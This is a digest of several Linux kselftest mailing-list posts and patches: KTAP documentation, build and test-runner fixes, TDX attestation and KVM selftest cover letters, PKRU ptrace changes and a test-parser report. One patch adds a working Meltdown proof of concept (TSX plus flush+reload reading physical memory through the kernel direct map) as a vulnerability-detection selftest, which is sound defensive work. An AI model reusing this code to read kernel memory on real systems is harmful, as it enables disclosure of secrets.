Currently the KTAP specification says that a test result line is
<result> <number> [<description>][ # [<directive>] [<diagnostic data>]]
and the description of a test can be "any sequence of words
(can't include #)" which specifies that there may be more than
one word but does not specify anything other than those words
which might be used to separate the words which probably isn't
what we want. Given that practically we have tests using a range
of separators for words including combinations of spaces and
combinations of other symbols like underscores or punctuation
let's just clarify that the description can contain any character
other than # (marking the start of the directive/diagnostic) or
newline (marking the end of this test result).
Signed-off-by: Mark Brown <broonie(a)kernel.org>
---
Documentation/dev-tools/ktap.rst | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Documentation/dev-tools/ktap.rst b/Documentation/dev-tools/ktap.rst
index d0a9565b0f44..414c105b10a9 100644
--- a/Documentation/dev-tools/ktap.rst
+++ b/Documentation/dev-tools/ktap.rst
@@ -80,8 +80,8 @@ have the number 1 and the number then must increase by 1 for each additional
subtest within the same test at the same nesting level.
The description is a description of the test, generally the name of
-the test, and can be any string of words (can't include #). The
-description is optional, but recommended.
+the test, and can be any string of characters other than # or a
+newline. The description is optional, but recommended.
The directive and any diagnostic data is optional. If either are present, they
must follow a hash sign, "#".
base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780
--
2.30.2
We need to make sure that bpf_helpers.h is properly generated when
building the net kselftest, otherwise we get this build error:
$ make -C tools/testing/selftests/net
...
bpf/nat6to4.c:43:10: fatal error: 'bpf/bpf_helpers.h' file not found
^~~~~~~~~~~~~~~~~~~
1 error generated.
Fix by adding a make dependency on tools/lib/bpf/bpf_helper_defs.h.
Moreover, re-add the include that was initially added by commit
cf67838c4422 ("selftests net: fix bpf build error"), otherwise we won't
be able to properly include bpf_helpers.h.
Fixes: 7b92aa9e6135 ("selftests net: fix kselftest net fatal error")
Signed-off-by: Andrea Righi <andrea.righi(a)canonical.com>
---
tools/testing/selftests/net/bpf/Makefile | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/tools/testing/selftests/net/bpf/Makefile b/tools/testing/selftests/net/bpf/Makefile
index 8ccaf8732eb2..cc6579e154eb 100644
--- a/tools/testing/selftests/net/bpf/Makefile
+++ b/tools/testing/selftests/net/bpf/Makefile
@@ -2,11 +2,15 @@
CLANG ?= clang
CCINCLUDE += -I../../bpf
+CCINCLUDE += -I../../../lib
CCINCLUDE += -I../../../../lib
CCINCLUDE += -I../../../../../usr/include/
+bpf_helper_defs.h:
+ @make OUTPUT=./ -C $(OUTPUT)/../../../../tools/lib/bpf bpf_helper_defs.h
+
TEST_CUSTOM_PROGS = $(OUTPUT)/bpf/nat6to4.o
-all: $(TEST_CUSTOM_PROGS)
+all: bpf_helper_defs.h $(TEST_CUSTOM_PROGS)
$(OUTPUT)/%.o: %.c
$(CLANG) -O2 -target bpf -c $< $(CCINCLUDE) -o $@
--
2.37.2
On Wed, Nov 16, 2022 at 08:09:11PM -0400, Joel Savitz wrote:
> However, I noticed that on the mm-everything branch, the hugepage-mmap test
> fails:
>
> # ./run_vmtests.sh -t "hugetlb"
> running: ./hugepage-mmap
> -----------------------
> running ./hugepage-mmap
> -----------------------
> Open failed: No such file or directory
> [FAIL]
> ...
>
> It appears this is due to commit 0796c7b8be84 ("selftests/vm: drop mnt
> point for hugetlb in run_vmtests.sh")
> as the test still replies on the ./huge mountpoint removed in that commit.
> The test passes before that patchset is applied.
Oops, sorry I totally overlooked this hard-coded test case using the
mntpoint.
Fix is simple though, which is attached.
--
Peter Xu
Hi All,
Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious
hosts and some physical attacks. VM guest with TDX support is called
as a TDX Guest.
In TDX guest, the attestation process is used to verify the TDX guest
trustworthiness to other entities before provisioning secrets to the
guest. For example, a key server may request for attestation before
releasing the encryption keys to mount the encrypted rootfs or
secondary drive.
This patch set adds attestation support for the TDX guest. Details
about the TDX attestation process and the steps involved are explained
in Documentation/x86/tdx.rst (added by patch 2/3).
Following are the details of the patch set:
Patch 1/3 -> Preparatory patch for adding attestation support.
Patch 2/3 -> Adds user interface driver to support attestation.
Patch 3/3 -> Adds selftest support for TDREPORT feature.
Commit log history is maintained in the individual patches.
Current overall status of this series is, it has no pending issues
and can be considered for the upcoming merge cycle.
Kuppuswamy Sathyanarayanan (3):
x86/tdx: Add a wrapper to get TDREPORT0 from the TDX Module
virt: Add TDX guest driver
selftests: tdx: Test TDX attestation GetReport support
Documentation/virt/coco/tdx-guest.rst | 52 ++++++
Documentation/virt/index.rst | 1 +
Documentation/x86/tdx.rst | 43 +++++
arch/x86/coco/tdx/tdx.c | 40 +++++
arch/x86/include/asm/tdx.h | 2 +
drivers/virt/Kconfig | 2 +
drivers/virt/Makefile | 1 +
drivers/virt/coco/tdx-guest/Kconfig | 10 ++
drivers/virt/coco/tdx-guest/Makefile | 2 +
drivers/virt/coco/tdx-guest/tdx-guest.c | 102 ++++++++++++
include/uapi/linux/tdx-guest.h | 42 +++++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/tdx/Makefile | 7 +
tools/testing/selftests/tdx/config | 1 +
tools/testing/selftests/tdx/tdx_guest_test.c | 163 +++++++++++++++++++
15 files changed, 469 insertions(+)
create mode 100644 Documentation/virt/coco/tdx-guest.rst
create mode 100644 drivers/virt/coco/tdx-guest/Kconfig
create mode 100644 drivers/virt/coco/tdx-guest/Makefile
create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c
create mode 100644 include/uapi/linux/tdx-guest.h
create mode 100644 tools/testing/selftests/tdx/Makefile
create mode 100644 tools/testing/selftests/tdx/config
create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c
--
2.34.1
To capture potential programming errors like mistakenly setting Global
bit on kernel page table entries, a selftest for meltdown is added.
This selftest is based on https://github.com/IAIK/meltdown. What this
test does is to firstly set a predefined string at a random user address
and then with pagemap, get the physical address of this string. Finally,
try to fetch the data using kernel's directmap address for this physical
address to see if user space can use kernel's page table.
Per my tests, this test works well on CPUs that have TSX support. For
this reason, this selftest only works on CPUs that supports TSX.
This test requires the knowledge of direct map base. IAIK used the
following two methods to get direct map base:
1 through a kernel module to show phys_to_virt(0);
2 by exploiting the same HW vulnerability to guess the base.
Method 1 makes running this selftest complex while method 2 is not
reliable and I do not want to use a possibly wrong value to run this
test. Suggestions are welcome.
Tested on both x86_64 and i386_pae VMs on a host with i7-7700K cpu,
success rate is about 50% when nopti kernel cmdline is used.
As for legal stuff:
Add an Intel copyright notice because of a significant contribution to
this code. This also makes it clear who did the relicensing from Zlib
to GPLv2.
Also, just to be crystal clear, I have included my Signed-off-by on this
contribution because I certify that (from submitting-patches.rst):
(b) The contribution is based upon previous work that, to the best
of my knowledge, is covered under an appropriate open source
license and I have the right under that license to submit that
work with modifications, whether created in whole or in part
by me, under the same open source license (unless I am
permitted to submit under a different license), as indicated
in the file; or
In this case, I have the right under the license to submit this work.
That license also permits me to relicense to GPLv2 and submit under the
new license.
I came to the conclusion that this work is OK to submit with all of the
steps I listed above (copyright notices, license terms and relicensing)
by strictly following all of the processes required by my employer.
This does not include a Signed-off-by from a corporate attorney.
Instead, I offer the next best thing: an ack from one of the maintainers
of this code who can also attest to this having followed all of the
proper processes of our employer.
[dhansen: advice on changelog of the legal part]
Signed-off-by: Aaron Lu <aaron.lu(a)intel.com>
Acked-by: Dave Hansen <dave.hansen(a)linux.intel.com> # Intel licensing process
---
v3: address legal related concerns raised from Greg KH by adding Intel
copyright in the header and explain in the changelog, no code change.
tools/testing/selftests/x86/Makefile | 2 +-
tools/testing/selftests/x86/meltdown.c | 420 +++++++++++++++++++++++++
2 files changed, 421 insertions(+), 1 deletion(-)
create mode 100644 tools/testing/selftests/x86/meltdown.c
diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile
index 0388c4d60af0..36f99c360a56 100644
--- a/tools/testing/selftests/x86/Makefile
+++ b/tools/testing/selftests/x86/Makefile
@@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie)
TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \
check_initial_reg_state sigreturn iopl ioperm \
test_vsyscall mov_ss_trap \
- syscall_arg_fault fsgsbase_restore sigaltstack
+ syscall_arg_fault fsgsbase_restore sigaltstack meltdown
TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \
test_FCMOV test_FCOMI test_FISTTP \
vdso_restorer
diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c
new file mode 100644
index 000000000000..0ad4b65adcd0
--- /dev/null
+++ b/tools/testing/selftests/x86/meltdown.c
@@ -0,0 +1,420 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright (c) 2022 Intel
+ *
+ * This selftest is based on code from https://github.com/IAIK/meltdown
+ * and can be used to check if user space can read data through kernel
+ * page table entries.
+ *
+ * Note for i386 test: due to kernel prefer to use high memory for user
+ * programs, it is necessary to restrict the available memory under that
+ * of low memory size(around ~896MiB) so that the memory hosting "string"
+ * in main() is directly mapped.
+ *
+ * Note for both x86_64 and i386 test: the hardware race window can not be
+ * exploited 100% each time so a single run of the test on a vulnerable system
+ * may not FAIL. My tests on a i7-7700K cpu have a success rate about 50%.
+ *
+ * The original copyright and license information are shown below:
+ *
+ * Copyright (c) 2018 meltdown
+ *
+ * This software is provided 'as-is', without any express or implied
+ * warranty. In no event will the authors be held liable for any damages
+ * arising from the use of this software.
+ *
+ * Permission is granted to anyone to use this software for any purpose,
+ * including commercial applications, and to alter it and redistribute it
+ * freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you must not
+ * claim that you wrote the original software. If you use this software
+ * in a product, an acknowledgment in the product documentation would be
+ * appreciated but is not required.
+ *
+ * 2. Altered source versions must be plainly marked as such, and must not be
+ * misrepresented as being the original software.
+ *
+ * 3. This notice may not be removed or altered from any source
+ * distribution.
+ */
+
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <cpuid.h>
+#include <errno.h>
+#include <err.h>
+#include <sys/mman.h>
+#include <sys/utsname.h>
+
+#define PAGE_SHIFT 12
+#define PAGE_SIZE 0x1000
+#define PUD_SHIFT 30
+#define PUD_SIZE (1UL << PUD_SHIFT)
+#define PUD_MASK (~(PUD_SIZE - 1))
+
+#define _XBEGIN_STARTED (~0u)
+
+/* configurables */
+#define NR_MEASUREMENTS 3
+#define NR_TRIES 10000
+
+size_t cache_miss_threshold;
+unsigned long directmap_base;
+
+static int get_directmap_base(void)
+{
+ char *buf;
+ FILE *fp;
+ size_t n;
+ int ret;
+
+ fp = fopen("/sys/kernel/debug/page_tables/kernel", "r");
+ if (!fp)
+ return -1;
+
+ buf = NULL;
+ ret = -1;
+ while (getline(&buf, &n, fp) != -1) {
+ if (!strstr(buf, "Kernel Mapping"))
+ continue;
+
+ if (getline(&buf, &n, fp) != -1 &&
+ sscanf(buf, "0x%lx", &directmap_base) == 1) {
+ printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK);
+ directmap_base &= PUD_MASK;
+ ret = 0;
+ break;
+ }
+ }
+
+ fclose(fp);
+ free(buf);
+ return ret;
+}
+
+/*
+ * Requires root due to pagemap.
+ */
+static int virt_to_phys(unsigned long virt, unsigned long *phys)
+{
+ unsigned long pfn;
+ uint64_t val;
+ int fd, ret;
+
+ fd = open("/proc/self/pagemap", O_RDONLY);
+ if (fd == -1) {
+ printf("[INFO]\tFailed to open pagemap\n");
+ return -1;
+ }
+
+ ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t));
+ if (ret == -1) {
+ printf("[INFO]\tFailed to read pagemap\n");
+ goto out;
+ }
+
+ if (!(val & (1ULL << 63))) {
+ printf("[INFO]\tPage not present according to pagemap\n");
+ ret = -1;
+ goto out;
+ }
+
+ pfn = val & ((1ULL << 55) - 1);
+ if (pfn == 0) {
+ printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n");
+ ret = -1;
+ goto out;
+ }
+
+ ret = 0;
+ *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1));
+
+out:
+ close(fd);
+ return ret;
+}
+
+static uint64_t rdtsc()
+{
+ uint64_t a = 0, d = 0;
+
+ asm volatile("mfence");
+#ifdef __x86_64__
+ asm volatile("rdtsc" : "=a"(a), "=d"(d));
+#else
+ asm volatile("rdtsc" : "=A"(a));
+#endif
+ a = (d << 32) | a;
+ asm volatile("mfence");
+
+ return a;
+}
+
+#ifdef __x86_64__
+static void maccess(void *p)
+{
+ asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax");
+}
+
+static void flush(void *p)
+{
+ asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
+}
+
+#define MELTDOWN \
+ asm volatile("1:\n" \
+ "movzx (%%rcx), %%rax\n" \
+ "shl $12, %%rax\n" \
+ "jz 1b\n" \
+ "movq (%%rbx,%%rax,1), %%rbx\n" \
+ : \
+ : "c"(virt), "b"(array) \
+ : "rax");
+#else
+static void maccess(void *p)
+{
+ asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax");
+}
+
+static void flush(void *p)
+{
+ asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax");
+}
+
+#define MELTDOWN \
+ asm volatile("1:\n" \
+ "movzx (%%ecx), %%eax\n" \
+ "shl $12, %%eax\n" \
+ "jz 1b\n" \
+ "mov (%%ebx,%%eax,1), %%ebx\n" \
+ : \
+ : "c"(virt), "b"(array) \
+ : "eax");
+#endif
+
+static void detect_flush_reload_threshold()
+{
+ size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
+ size_t dummy[16];
+ size_t *ptr = dummy + 8;
+ uint64_t start = 0, end = 0;
+
+ maccess(ptr);
+ for (i = 0; i < count; i++) {
+ start = rdtsc();
+ maccess(ptr);
+ end = rdtsc();
+ reload_time += (end - start);
+ }
+
+ for (i = 0; i < count; i++) {
+ start = rdtsc();
+ maccess(ptr);
+ end = rdtsc();
+ flush(ptr);
+ flush_reload_time += (end - start);
+ }
+
+ reload_time /= count;
+ flush_reload_time /= count;
+
+ printf("[INFO]\tFlush+Reload: %zd cycles, Reload only: %zd cycles\n",
+ flush_reload_time, reload_time);
+ cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3;
+ printf("[INFO]\tFlush+Reload threshold: %zd cycles\n", cache_miss_threshold);
+}
+
+static int flush_reload(void *ptr)
+{
+ uint64_t start, end;
+
+ start = rdtsc();
+ maccess(ptr);
+ end = rdtsc();
+
+ flush(ptr);
+
+ if (end - start < cache_miss_threshold)
+ return 1;
+
+ return 0;
+}
+
+static int check_tsx()
+{
+ if (__get_cpuid_max(0, NULL) >= 7) {
+ unsigned a, b, c, d;
+ __cpuid_count(7, 0, a, b, c, d);
+ return (b & (1 << 11)) ? 1 : 0;
+ } else
+ return 0;
+}
+
+static unsigned int xbegin(void)
+{
+ unsigned int status;
+
+ asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory");
+ asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory");
+
+ return status;
+}
+
+static void xend(void)
+{
+ asm volatile("xend" ::: "memory");
+ asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory");
+}
+
+static int __read_phys_memory_tsx(unsigned long phys, char *array)
+{
+ unsigned long virt;
+ int i, retries;
+
+ virt = phys + directmap_base;
+ for (retries = 0; retries < NR_TRIES; retries++) {
+ if (xbegin() == _XBEGIN_STARTED) {
+ MELTDOWN;
+ xend();
+ }
+
+ for (i = 1; i < 256; i++) {
+ if (flush_reload(array + i * PAGE_SIZE))
+ return i;
+ }
+ }
+
+ return 0;
+}
+
+/*
+ * Read physical memory by exploiting HW bugs.
+ * One byte a time.
+ */
+static int read_phys_memory(unsigned long phys, char *array)
+{
+ char res_stat[256];
+ int i, r, max_v, max_i;
+
+ memset(res_stat, 0, sizeof(res_stat));
+
+ for (i = 0; i < NR_MEASUREMENTS; i++) {
+ for (i = 0; i < 256; i++)
+ flush(array + i * PAGE_SIZE);
+
+ r = __read_phys_memory_tsx(phys, array);
+ if (r != 0)
+ res_stat[r]++;
+ }
+
+ max_v = 0;
+ for (i = 1; i < 256; i++) {
+ if (res_stat[i] > max_v) {
+ max_i = i;
+ max_v = res_stat[i];
+ }
+ }
+
+ if (max_v == 0)
+ return 0;
+
+ return max_i;
+}
+
+#ifdef __i386
+/* 32 bits version is only meant to run on a PAE kernel */
+static int arch_test_mismatch(void)
+{
+ struct utsname buf;
+
+ if (uname(&buf) == -1) {
+ printf("[SKIP]\tCan't decide architecture\n");
+ return 1;
+ }
+
+ if (!strncmp(buf.machine, "x86_64", 6)) {
+ printf("[SKIP]\tNo need to run 32bits test on 64bits host\n");
+ return 1;
+ }
+
+ return 0;
+}
+#else
+static int arch_test_mismatch(void)
+{
+ return 0;
+}
+#endif
+
+static int test_meltdown(void)
+{
+ char string[] = "test string";
+ char *array, *result;
+ unsigned long phys;
+ int i, len, ret;
+
+ if (arch_test_mismatch())
+ return 0;
+
+ if (get_directmap_base() == -1) {
+ printf("[SKIP]\tFailed to get directmap base. Make sure you are root and kernel has CONFIG_PTDUMP_DEBUGFS\n");
+ return 0;
+ }
+
+ detect_flush_reload_threshold();
+
+ if (!check_tsx()) {
+ printf("[SKIP]\tNo TSX support\n");
+ return 0;
+ }
+
+ if (virt_to_phys((unsigned long)string, &phys) == -1) {
+ printf("[FAIL]\tFailed to convert virtual address to physical address\n");
+ return -1;
+ }
+
+ len = strlen(string);
+ result = malloc(len + 1);
+ if (!result) {
+ printf("[FAIL]\tNot enough memory for malloc\n");
+ return -1;
+ }
+ memset(result, 0, len + 1);
+
+ array = mmap(NULL, 256 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (!array) {
+ printf("[FAIL]\tNot enough memory for mmap\n");
+ free(result);
+ return -1;
+ }
+ memset(array, 0, 256 * PAGE_SIZE);
+
+ for (i = 0; i < len; i++, phys++) {
+ result[i] = read_phys_memory(phys, array);
+ if (result[i] == 0)
+ break;
+ }
+
+ ret = !strncmp(string, result, len);
+ if (ret)
+ printf("[FAIL]\tSystem is vulnerable to meltdown.\n");
+ else
+ printf("[OK]\tSystem might not be vulnerable to meltdown.\n");
+
+ munmap(array, 256 * PAGE_SIZE);
+ free(result);
+
+ return ret;
+}
+
+int main(void)
+{
+ printf("[RUN]\tTest if system is vulnerable to meltdown\n");
+
+ return test_meltdown();
+}
--
2.38.1
This series is posted in context of the discussion at:
https://lore.kernel.org/lkml/Ywa9T+jKUpaHLu%2Fl@google.com/
Major changes:
1) Move common startup logic to a single function in kvm_util.c
2) Introduce following APIs:
kvm_selftest_arch_init: to perform arch specific common startup.
kvm_arch_vm_post_create: to perform arch specific common setup
after VM creation.
Changelog
=========
v4:
* Removed the patch to precompute cpu type, will be introduced as part of
a separate series in future.
v3:
* Original series is split into two and this v3 version contains the
improvements to selftest and VM setup.
* Planning to upload the second series to execute hypercall
instruction according to cpu type separately.
* Addressed comments from David and Sean.
link to v3:
https://lore.kernel.org/lkml/20221013121319.994170-1-vannapurve@google.com/
v2:
* Addressed comments from Andrew and David
* Common function with constructor attribute used to setup initial state
* Changes are split in more logical granules as per feedback
link to v2:
https://lore.kernel.org/all/20220915000448.1674802-1-vannapurve@google.com/
Vishal Annapurve (3):
KVM: selftests: move common startup logic to kvm_util.c
KVM: selftests: Add arch specific initialization
KVM: selftests: Add arch specific post vm creation hook
.../selftests/kvm/aarch64/arch_timer.c | 3 ---
.../selftests/kvm/aarch64/hypercalls.c | 2 --
.../testing/selftests/kvm/aarch64/vgic_irq.c | 3 ---
.../selftests/kvm/include/kvm_util_base.h | 9 ++++++++
.../selftests/kvm/lib/aarch64/processor.c | 18 ++++++++--------
tools/testing/selftests/kvm/lib/kvm_util.c | 21 ++++++++++++++++---
.../selftests/kvm/lib/x86_64/processor.c | 6 ++++++
.../testing/selftests/kvm/memslot_perf_test.c | 3 ---
tools/testing/selftests/kvm/rseq_test.c | 3 ---
tools/testing/selftests/kvm/s390x/memop.c | 2 --
tools/testing/selftests/kvm/s390x/resets.c | 2 --
.../selftests/kvm/s390x/sync_regs_test.c | 3 ---
.../selftests/kvm/set_memory_region_test.c | 3 ---
.../kvm/x86_64/cr4_cpuid_sync_test.c | 3 ---
.../kvm/x86_64/emulator_error_test.c | 3 ---
.../selftests/kvm/x86_64/hyperv_cpuid.c | 3 ---
.../selftests/kvm/x86_64/platform_info_test.c | 3 ---
.../kvm/x86_64/pmu_event_filter_test.c | 3 ---
.../selftests/kvm/x86_64/set_sregs_test.c | 3 ---
.../kvm/x86_64/svm_nested_soft_inject_test.c | 3 ---
.../selftests/kvm/x86_64/sync_regs_test.c | 3 ---
.../selftests/kvm/x86_64/userspace_io_test.c | 3 ---
.../kvm/x86_64/userspace_msr_exit_test.c | 3 ---
23 files changed, 42 insertions(+), 66 deletions(-)
--
2.38.1.431.g37b22c650d-goog
commit e080ceaa69c1 ("selftests/vm: add KSM unmerge tests") in
linux-next adds an entry to run_vmtests.sh. I recently submitted
commit b5ba705c2608 ("selftests/vm: enable running select groups of tests")
to linux-next which categorizes tests by functionality in order to
allow more precise selection of which tests are to be run.
Since this newest test targets ksm and does not require more than one
numa node, add 'CATEGORY="ksm"' to the invocation to group this test
with the other ksm tests.
Signed-off-by: Joel Savitz <jsavitz(a)redhat.com>
---
tools/testing/selftests/vm/run_vmtests.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/testing/selftests/vm/run_vmtests.sh b/tools/testing/selftests/vm/run_vmtests.sh
index af35dd3bc589..fff00bb77086 100755
--- a/tools/testing/selftests/vm/run_vmtests.sh
+++ b/tools/testing/selftests/vm/run_vmtests.sh
@@ -252,7 +252,7 @@ CATEGORY="ksm_numa" run_test ./ksm_tests -N -m 1
# KSM test with 2 NUMA nodes and merge_across_nodes = 0
CATEGORY="ksm_numa" run_test ./ksm_tests -N -m 0
-run_test ./ksm_functional_tests
+CATEGORY="ksm" run_test ./ksm_functional_tests
# protection_keys tests
if [ -x ./protection_keys_32 ]
--
2.31.1
On Wed, Nov 16, 2022 at 8:09 PM Joel Savitz <jsavitz(a)redhat.com> wrote:
>
> On Tue, Nov 8, 2022 at 8:31 PM Andrew Morton <akpm(a)linux-foundation.org> wrote:
>>
>> On Fri, 28 Oct 2022 09:26:40 -0400 Joel Savitz <jsavitz(a)redhat.com> wrote:
>>
>> > commit b5ba705c2608 ("selftests/vm: enable running select groups of tests")
>> > unintentionally reversed the ordering of some of the lines of
>> > run_vmtests.sh that calculate values based on system configuration.
>> > Importantly, $hpgsize_MB is determined from $hpgsize_KB, but this later
>> > value is not read from /proc/meminfo until later, causing userfaultfd
>> > tests to incorrectly fail since $half_ufd_size_MB will always be 0.
>> >
>> > Switch these statements around into proper order to fix the invocation
>> > of the userfaultfd tests that use $half_ufd_size_MB.
>>
>> Does this fix address the failure in
>> https://lkml.kernel.org/r/202211021026.61b267d1-yujie.liu@intel.com?
>>
>> Thanks.
>>
>
> I have tried to reproduce this failure on a couple of different systems before and after the application of this commit but I haven't had any success in doing so. I suspect that there was some sort of hugepage configuration issue on the test system but I'd have to look into it more to be sure.
>
> However, I noticed that on the mm-everything branch, the hugepage-mmap test fails:
>
> # ./run_vmtests.sh -t "hugetlb"
> running: ./hugepage-mmap
> -----------------------
> running ./hugepage-mmap
> -----------------------
> Open failed: No such file or directory
> [FAIL]
> ...
>
> It appears this is due to commit 0796c7b8be84 ("selftests/vm: drop mnt point for hugetlb in run_vmtests.sh")
> as the test still replies on the ./huge mountpoint removed in that commit. The test passes before that patchset is applied.
>
> Additionally, I just noticed an extraneous 'echo "running: $1"' line in run_test(), the effects of which are seen above, and I have just sent a patch to remove it.
>
> Joel
Resending this reply since it appears a bit of HTML slipped into the
last reply and it got rejected by the lists.
Hi.
Following last week's discussion I've reorganized this patch. The goal
remains to restore the pre-5.14 behavior of ptrace(PTRACE_SET_REGSET,
NT_X86_XSTATE) for the PKRU register (which was equivalent to a hardware
XRSTOR instruction).
There are three different kernel APIs that write PKRU:
1. sigreturn
2. PTRACE_SET_REGSET with NT_X86_XSTATE
3. KVM_SET_XSAVE
sigreturn restores PKRU from the fpstate and works as expected today.
PTRACE_SET_REGSET restores PKRU from the thread_struct's pkru member and
doesn't work at all.
KVM_SET_XSAVE restores PKRU from the vcpu's pkru member and honors
changes to the PKRU value in the XSAVE region but does not honor clearing
the PKRU bit in the xfeatures mask. The KVM maintainers do not want to
change the KVM behavior at the current time, however, so this quirk
survives after this patch set.
All three APIs ultimately call into copy_uabi_to_xstate(). Part 3 adds
an argument to that function that is used to pass in a pointer to either
the thread_struct's pkru or the vcpu's PKRU, for sigreturn/PTRACE_SET_REGSET
or KVM_SET_XSAVE respectively. While this isn't strictly necessary for
sigreturn, it makes part 5 easier. Parts 1 and 2 refactor the various
callers of copy_uabi_to_xstate() to make that possible.
Part 4 moves the existing KVM-specific PKRU handling in
fpu_copy_uabi_to_guest_fpstate() to copy_uabi_to_xstate() where it is now
shared amongst all three APIs. This is a no-op for sigreturn (which restores
PKRU from the fpstate anyways) and KVM but it changes the PTRACE_SET_REGSET
behavior to match KVM_SET_XSAVE.
Part 5 emulates the hardware XRSTOR behavior where PKRU is reset to the
hardware init value if the PKRU bit in the xfeatures mask is clear. KVM is
excluded from this emulation by passing a NULL pkru slot pointer to
copy_uabi_to_xstate() in this case. Passing in a pointer to the
thread_struct's PKRU slot for sigreturn (even though sigreturn won't restore
PKRU from that location) allows distinguishing KVM here. This changes
the PTRACE_SET_REGSET behavior to fully match sigreturn.
Part 6 is the self test that remains unchanged from v3 of this patchset.
At no point in this patch set is the user-visible behavior of sigreturn
or KVM_SET_XSAVE changed.
Changelog since v6:
- v6's part 1/2 is now split into parts 1 through 5.
- v6's part 2/2 is now part 6.
- Various style comments addressed.
Changelog since v5:
- Avoids a second copy from the uabi buffer as suggested.
- Preserves old KVM_SET_XSAVE behavior where leaving the PKRU bit in the
XSTATE header results in PKRU remaining unchanged instead of
reinitializing it.
- Fixed up patch metadata as requested.
Changelog since v4:
- Selftest additionally checks PKRU readbacks through ptrace.
- Selftest flips all PKRU bits (except the default key).
Changelog since v3:
- The v3 patch is now part 1 of 2.
- Adds a selftest in part 2 of 2.
Changelog since v2:
- Removed now unused variables in fpu_copy_uabi_to_guest_fpstate
Changelog since v1:
- Handles the error case of copy_to_buffer().
kselftest running on LAVA infrastures provides test results parser
from test-definitions repository.
which is getting "Bad test result:".
I have noticed this on kernelci [1] and LKFT LAVA instances [2].
We need to investigate and change parse_output [3] inside test-definitions.
Report-by: Linux Kernel Functional Testing <lkft(a)linaro.org>
Test results parser showing “Bad test results: “,
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.SVE RESULT=FPSIMD
Bad test result: FPSIMD
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.SVE RESULT=FPSIMD>
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.SVE
RESULT=get_fpsimd()
Bad test result: get_fpsimd()
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.SVE RESULT=get_fpsimd()>
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.SVE
RESULT=SVE_PT_VL_INHERIT
Bad test result: SVE_PT_VL_INHERIT
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.SVE
RESULT=SVE_PT_VL_INHERIT>
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.SVE
RESULT=SVE_PT_VL_INHERIT
Bad test result: SVE_PT_VL_INHERIT
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.SVE
RESULT=SVE_PT_VL_INHERIT>
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.Set RESULT=SVE
Bad test result: SVE
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.Set RESULT=SVE>
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=arm64.sve-ptrace.Set RESULT=and>
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.Set RESULT=and
Bad test result: and
Received signal: <TESTCASE> TEST_CASE_ID=arm64.sve-ptrace.Set RESULT=and
Bad test result: and
..
<LAVA_SIGNAL_TESTCASE TEST_CASE_ID=clone3.clone3_set_tid.[1710] RESULT=Result>
Received signal: <TESTCASE> TEST_CASE_ID=clone3.clone3_set_tid.[1710]
RESULT=Result
Bad test result: Result
[1] https://storage.kernelci.org/next/master/next-20221116/arm64/defconfig+arm6…
[2] https://linaro.atlassian.net/browse/LKQ-934
[3] https://github.com/Linaro/test-definitions/blob/master/automated/linux/ksel…
[4] https://lkft.validation.linaro.org/scheduler/job/5729151#L2511
--
Linaro LKFT
https://lkft.linaro.org
Hi All,
Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious
hosts and some physical attacks. VM guest with TDX support is called
as a TDX Guest.
In TDX guest, attestation process is used to verify the TDX guest
trustworthiness to other entities before provisioning secrets to the
guest. For example, a key server may request for attestation before
releasing the encryption keys to mount the encrypted rootfs or
secondary drive.
This patch set adds attestation support for the TDX guest. Details
about the TDX attestation process and the steps involved are explained
in Documentation/x86/tdx.rst (added by patch 2/3).
Following are the details of the patch set:
Patch 1/3 -> Preparatory patch for adding attestation support.
Patch 2/3 -> Adds user interface driver to support attestation.
